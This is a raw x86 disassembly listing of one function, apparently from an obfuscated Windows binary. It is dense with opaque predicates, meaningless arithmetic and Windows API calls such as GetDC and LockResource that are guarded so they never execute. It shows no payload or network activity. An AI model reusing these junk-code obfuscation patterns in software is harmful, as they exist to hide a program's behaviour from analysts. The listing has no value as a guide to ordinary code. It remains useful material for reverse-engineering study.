mov dword [ebp - 0x15f8], 1
jmp 0x473f05
and dword [ebp - 0x15f8], 0
cmp dword [ebp - 0x15f8], 0
jae 0x473f23
mov eax, 0xd58e
test eax, eax
je 0x473f23
mov dword [ebp - 0x1600], 1
jmp 0x473f2a
and dword [ebp - 0x1600], 0
mov eax, dword [ebp - 0x1600]
sub eax, 0x4898d08f
cmp dword [ebp - 0x124], eax
jle 0x473f49
mov dword [ebp - 0x22ec], 1
jmp 0x473f50
and dword [ebp - 0x22ec], 0
mov esi, dword [ebp - 0x4e0]
push 1
lea ecx, [ebp - 0x24bc]
call fcn.0042ed1e
mov dword [eax], esi
lea ecx, [ebp - 0x24bc]
call fcn.0042ed02
jmp 0x473d5d
mov dword [ebp - 0x124], 1
jmp 0x473f8e
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
jl 0x4740ee
mov dword [ebp - 0x2808], 0xfde6
mov dword [ebp - 0x2804], 0xfde6
mov dword [ebp - 0x2800], 0xfde6
mov dword [ebp - 0x27fc], 0xfde6
mov dword [ebp - 0x2a4c], 0xfa7bb34e
mov dword [ebp - 0x76c], 0
jmp 0x473fe6
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 3
jge 0x474002
mov eax, dword [ebp - 0x76c]
mov dword [ebp + eax*4 - 0x302c], 0x3d47ebdc
jmp 0x473fd9
cmp dword [ebp - 0x4e0], 0xf322
je 0x47401a
mov dword [ebp - 0x1608], 1
jmp 0x474021
and dword [ebp - 0x1608], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9c0]
cmp eax, dword [ebp - 0x1608]
jg 0x474041
mov dword [ebp - 0x1618], 1
jmp 0x474048
and dword [ebp - 0x1618], 0
mov eax, dword [ebp - 0x1620]
mov dword [ebp - 0x2c88], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x9c0]
mov dword [ebp - 0x2a54], eax
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x9c0]
cmp dword [ebp + eax - 0x9c0], ecx
jl 0x47408f
mov dword [ebp - 0x1610], 1
jmp 0x474096
and dword [ebp - 0x1610], 0
mov eax, dword [ebp - 0x3d4]
imul eax, dword [ebp - 0x1610]
mov ecx, dword [ebp - 0x1618]
sub ecx, eax
sub ecx, dword [ebp - 0x1620]
cmp ecx, 2
jae 0x4740c2
mov dword [ebp - 0x1628], 1
jmp 0x4740c9
and dword [ebp - 0x1628], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1628]
mov dword [ebp + eax - 0x2808], ecx
mov eax, dword [ebp - 0x1630]
dec eax
mov dword [ebp - 0x1630], eax
jmp 0x473f81
lea ecx, [ebp - 0x2ce4]
call fcn.0042ed02
jmp 0x473c69
mov byte [ebp - 0x21e], 0
movzx eax, byte [ebp - 0x21e]
test eax, eax
je 0x474126
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 1
lea ecx, [ebp - 0x400]
call fcn.0042ec30
mov dword [ebp - 0x1650], 1
mov dword [ebp - 0x2244], 0xe4ed
mov dword [ebp - 0x1670], 0xfffffff6
mov dword [ebp - 0x1690], 0x81c5
mov dword [ebp - 0x2154], 0xffffffff
mov dword [ebp - 0x774], 0
jmp 0x474194
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 1
jge 0x4741b6
push dword [ebp - 0x774]
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov dword [eax], 0x782a1836
jmp 0x474187
mov byte [ebp - 0x220], 0
movzx eax, byte [ebp - 0x220]
test eax, eax
je 0x4741ce
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov esi, eax
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov ecx, dword [esi]
add ecx, dword [eax]
je 0x47420e
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x47420e
mov dword [ebp - 0x1638], 1
jmp 0x474215
and dword [ebp - 0x1638], 0
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1638]
cmp ecx, dword [eax]
jne 0x474238
mov dword [ebp - 0x1640], 1
jmp 0x47423f
and dword [ebp - 0x1640], 0
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1640]
cmp ecx, dword [eax]
jle 0x474262
mov dword [ebp - 0x1648], 1
jmp 0x474269
and dword [ebp - 0x1648], 0
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov esi, eax
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov ecx, dword [esi]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x1648]
je 0x4742b0
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x4742b0
mov dword [ebp - 0x214c], 1
jmp 0x4742b7
and dword [ebp - 0x214c], 0
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov eax, dword [eax]
mov dword [ebp - 0x1650], eax
mov esi, dword [ebp - 0x1650]
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
sub esi, dword [eax]
jne 0x47430f
cmp dword [ebp - 0x2244], 0
jne 0x47430f
and dword [ebp - 0x1658], 0
jmp 0x474319
mov dword [ebp - 0x1658], 1
cmp dword [ebp - 0x1658], 0xfffffffb
jl 0x47432e
mov dword [ebp - 0x1660], 1
jmp 0x474335
and dword [ebp - 0x1660], 0
cmp dword [ebp - 0x1660], 0x67b4
jge 0x47434d
mov dword [ebp - 0x1668], 1
jmp 0x474354
and dword [ebp - 0x1668], 0
mov eax, dword [ebp - 0x1668]
mov dword [ebp - 0x1670], eax
cmp dword [ebp - 0x1670], 0
je 0x474387
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x474387
mov dword [ebp - 0x1678], 1
jmp 0x47438e
and dword [ebp - 0x1678], 0
mov eax, dword [ebp - 0x1690]
cmp dword [ebp - 0x1678], eax
jl 0x4743a8
mov dword [ebp - 0x1680], 1
jmp 0x4743af
and dword [ebp - 0x1680], 0
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1680]
je 0x4743e4
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x4743e4
mov dword [ebp - 0x1688], 1
jmp 0x4743eb
and dword [ebp - 0x1688], 0
mov eax, dword [ebp - 0x1688]
sub eax, dword [ebp - 0x1690]
jne 0x474405
mov dword [ebp - 0x1698], 1
jmp 0x47440c
and dword [ebp - 0x1698], 0
push 0
lea ecx, [ebp - 0x400]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1698]
cmp ecx, dword [eax]
jge 0x47442f
mov dword [ebp - 0x16a0], 1
jmp 0x474436
and dword [ebp - 0x16a0], 0
mov eax, dword [ebp - 0x16a0]
mov dword [ebp - 0x2154], eax
lea ecx, [ebp - 0x400]
call fcn.0042ed02
xor ecx, ecx
call fcn.0042ef9b
push eax
call fcn.0047a413
pop ecx
mov dword [ebp - 0x77c], 0xb110c93b
mov dword [ebp - 0x77c], 0
jmp 0x47447e
mov eax, dword [ebp - 0x77c]
dec eax
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 0xfffffffc
jl 0x4744fe
push 4
lea ecx, [ebp - 0x245c]
call fcn.0042ec30
mov dword [ebp - 0x784], 0
jmp 0x4744ad
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], 4
jge 0x4744cf
push dword [ebp - 0x784]
lea ecx, [ebp - 0x245c]
call fcn.0042ed1e
mov dword [eax], 0xfffffffd
jmp 0x4744a0
push 3
lea ecx, [ebp - 0x245c]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x4744ee
lea ecx, [ebp - 0x245c]
call fcn.0042ed02
jmp 0x4744fe
lea ecx, [ebp - 0x245c]
call fcn.0042ed02
jmp 0x474471
push 2
lea ecx, [ebp - 0xb70]
call fcn.0042ec30
mov dword [ebp - 0x30c], 0xf1febaee
mov dword [ebp - 0x918], 7
mov dword [ebp - 0x1710], 1
mov dword [ebp - 0x78c], 0
jmp 0x474542
mov eax, dword [ebp - 0x78c]
inc eax
mov dword [ebp - 0x78c], eax
cmp dword [ebp - 0x78c], 2
jge 0x474564
push dword [ebp - 0x78c]
lea ecx, [ebp - 0xb70]
call fcn.0042ed1e
mov dword [eax], 5
jmp 0x474535
mov dword [ebp - 0x30c], 0
jmp 0x47457d
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 1
jg 0x474902
mov dword [ebp - 0x314], 0xffffffff
mov dword [ebp - 0x1700], 0xffffffff
mov dword [ebp - 0x910], 1
mov dword [ebp - 0x314], 0
jmp 0x4745c1
cmp dword [ebp - 0x314], 1
jg 0x4748fd
mov dword [ebp - 0x3dc], 0xcdcb363f
mov dword [ebp - 0x1718], 0x1cb27f08
mov dword [ebp - 0x3dc], 1
jmp 0x4745fb
mov eax, dword [ebp - 0x3dc]
dec eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0
jl 0x474714
mov dword [ebp - 0x4e8], 0xb7928fbc
mov dword [ebp - 0x4e8], 0
jmp 0x47462b
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 1
jg 0x47470f
mov dword [ebp - 0x304], 0xfffffffa
mov dword [ebp - 0x16b8], 5
mov dword [ebp - 0x304], 1
jmp 0x474665
mov eax, dword [ebp - 0x304]
dec eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0
jl 0x47470a
push dword [ebp - 0x304]
lea ecx, [ebp - 0xb70]
call fcn.0042ed1e
mov esi, eax
push dword [ebp - 0x304]
lea ecx, [ebp - 0xb70]
call fcn.0042ed1e
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x4746b1
cmp dword [ebp - 0x4e8], 0
je 0x4746b1
mov dword [ebp - 0x16a8], 1
jmp 0x4746b8
and dword [ebp - 0x16a8], 0
mov eax, dword [ebp - 0x16a8]
inc eax
cmp eax, 0xab1d
jle 0x4746d2
mov dword [ebp - 0x16b0], 1
jmp 0x4746d9
and dword [ebp - 0x16b0], 0
mov eax, dword [ebp - 0x16b0]
mov dword [ebp - 0x16b8], eax
mov esi, dword [ebp - 0x16b8]
push dword [ebp - 0x304]
lea ecx, [ebp - 0xb70]
call fcn.0042ed1e
imul esi, dword [eax]
mov dword [ebp - 0x1718], esi
jmp 0x474658
jmp 0x47461e
jmp 0x4745ee
mov eax, dword [ebp - 0x910]
mov dword [ebp - 0x236c], eax
push 1
lea ecx, [ebp - 0xb70]
call fcn.0042ed1e
mov eax, dword [eax]
mov dword [ebp - 0x215c], eax
mov eax, dword [ebp - 0x910]
inc eax
mov dword [ebp - 0x910], eax
mov eax, dword [ebp - 0x236c]
cmp eax, dword [ebp - 0x215c]
je 0x47475c
mov dword [ebp - 0x16d0], 1
jmp 0x474763
and dword [ebp - 0x16d0], 0
cmp dword [ebp - 0x314], 1
jle 0x474778
mov dword [ebp - 0x16c0], 1
jmp 0x47477f
and dword [ebp - 0x16c0], 0
mov eax, dword [ebp - 0x30c]
cmp dword [ebp - 0x16c0], eax
jl 0x474799
mov dword [ebp - 0x16c8], 1
jmp 0x4747a0
and dword [ebp - 0x16c8], 0
cmp dword [ebp - 0x16c8], 0xffff
ja 0x4747b8
mov dword [ebp - 0x16d8], 1
jmp 0x4747bf
and dword [ebp - 0x16d8], 0
mov eax, dword [ebp - 0x16d0]
cmp eax, dword [ebp - 0x16d8]
je 0x4747d9
mov dword [ebp - 0x16e0], 1
jmp 0x4747e0
and dword [ebp - 0x16e0], 0
mov eax, dword [ebp - 0x16e0]
sub eax, 0xca7a
sub eax, dword [ebp - 0x30c]
mov dword [ebp - 0x3dc], eax
mov esi, dword [ebp - 0x3dc]
imul esi, dword [ebp - 0x918]
push 1
lea ecx, [ebp - 0xb70]
call fcn.0042ed1e
add esi, dword [eax]
cmp esi, dword [ebp - 0x314]
je 0x474827
mov dword [ebp - 0x16e8], 1
jmp 0x47482e
and dword [ebp - 0x16e8], 0
push 1
lea ecx, [ebp - 0xb70]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x16e8]
cmp ecx, dword [eax]
je 0x474851
mov dword [ebp - 0x16f0], 1
jmp 0x474858
and dword [ebp - 0x16f0], 0
cmp dword [ebp - 0x16f0], 9
jge 0x47486d
jmp 0x474570
lea ecx, [ebp - 0xb70]
call fcn.0042ed02
mov dword [ebp - 0xcc], 0x167f
mov dword [ebp - 0x1730], 0x63ba20b9
mov dword [ebp - 0x2164], 1
mov dword [ebp - 0x22fc], 1
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x2e48], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x2a5c], eax
mov eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0xcc]
je 0x47496d
mov dword [ebp - 0x1720], 1
jmp 0x474974
and dword [ebp - 0x1720], 0
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0x1720]
jge 0x47498e
mov dword [ebp - 0x1728], 1
jmp 0x474995
and dword [ebp - 0x1728], 0
mov eax, dword [ebp - 0x1728]
mov dword [ebp - 0x1730], eax
mov eax, dword [ebp - 0x1730]
mov dword [ebp - 0x2164], eax
mov eax, 0xa0d4
imul eax, eax, 0xe559
mov dword [ebp - 0x22fc], eax
mov dword [ebp - 0xcc], 0xfffffff2
jmp 0x4749d7
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xc
jge 0x4749fc
mov byte [ebp - 0x222], 0
movzx eax, byte [ebp - 0x222]
test eax, eax
je 0x4749fa
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
jmp 0x4749ca
push 2
lea ecx, [ebp - 0x26a4]
call fcn.0042ec30
mov dword [ebp - 0x4f0], 0xd8e5ccc9
mov dword [ebp - 0x794], 0
jmp 0x474a2c
mov eax, dword [ebp - 0x794]
inc eax
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x794], 2
jge 0x474a4e
push dword [ebp - 0x794]
lea ecx, [ebp - 0x26a4]
call fcn.0042ed1e
mov dword [eax], 0xdf75dcec
jmp 0x474a1f
mov dword [ebp - 0x4f0], 1
jmp 0x474a67
mov eax, dword [ebp - 0x4f0]
dec eax
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 0
jl 0x474a8a
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x26a4]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x474a88
jmp 0x474a8a
jmp 0x474a5a
lea ecx, [ebp - 0x26a4]
call fcn.0042ed02
push 3
lea ecx, [ebp - 0x2734]
call fcn.0042ec30
mov dword [ebp - 0x4f8], 0xffffffff
mov dword [ebp - 0x79c], 0
jmp 0x474ac5
mov eax, dword [ebp - 0x79c]
inc eax
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 3
jge 0x474ae7
push dword [ebp - 0x79c]
lea ecx, [ebp - 0x2734]
call fcn.0042ed1e
mov dword [eax], 0xff0ea75c
jmp 0x474ab8
mov byte [ebp - 0x224], 0
movzx eax, byte [ebp - 0x224]
test eax, eax
je 0x474b01
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
mov dword [ebp - 0x4f8], 0
jmp 0x474b1a